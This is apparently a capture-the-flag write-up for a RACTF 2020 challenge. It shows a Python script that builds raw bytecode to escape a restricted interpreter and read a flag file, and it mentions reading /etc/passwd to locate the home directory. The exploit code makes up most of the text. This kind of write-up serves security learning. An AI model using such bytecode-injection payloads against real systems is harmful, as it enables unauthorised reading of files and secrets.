In brief: do `globals()["open"]("/home/ractf/flag.txt").read()` in Python bytecode.
At first I tried reading `flag.txt` but it didn't work. Then my teammate ArRu reminded me that maybe the flag is in another directory, so we tried reading `/etc/passwd` and learned that the home directory of user `ractf` is `/home/ractf`.
Payload generator:
```import sysdef put(string):    bytecode = b""    for n, i in enumerate(string):        bytecode += b"t\x00"                # LOAD_GLOBAL 0 (chr)         bytecode += b"d" + bytes([ord(i)])  # LOAD_CONST n        bytecode += b"\x83\x01"             # CALL_FUNCTION 1        if n != 0:            bytecode += b"\x17\x00"         # BINARY_ADD    return bytecodedef attr(payload, attr):    payload  = b"e\x04" + payload   # LOAD_GLOBAL 4 (getattr)    payload += put(attr)    payload += b"\x83\x02"          # CALL_FUNCTION 2    return payload# globals()payload  = b"e\x02"     # LOAD_NAME 2 (globals)payload += b"\x83\x00"  # CALL_FUNCTION 0# globals()["open"]payload += put("open")payload += b"\x19\x10"  # BINARY_SUBSCR# globals()["open"]("flag.txt")payload += put("flag.txt")payload += b"\x83\x01"  # CALL_FUNCTION 1# globals()["open"]("flag.txt").read()payload = attr(payload, "read")payload += b"\x83\x00"  # CALL_FUNCTION 0payload = b"a" * 32 + payloadsys.stdout.buffer.write(payload)```The script says it all, but here's a **[more detailed write-up](https://ypl.coffee/ractf-2020-puffer-overflow/)** if you want more information.
Flag: `ractf{Puff3rf1sh??}`
Hmmm...The flag is a little bit too short, isn't it? :-/